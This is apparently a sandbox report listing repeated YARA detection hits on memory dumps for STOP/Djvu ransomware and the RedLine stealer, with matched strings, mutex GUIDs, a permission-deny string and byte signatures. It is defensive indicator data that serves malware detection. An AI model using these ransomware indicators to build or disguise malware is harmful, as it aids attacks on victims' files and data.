0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.402254205.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000000.439811041.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.429478962.00000000041D1000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.448142800.00000000041B2000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.445958712.00000000041A4000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.378159844.00000000041D0000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: 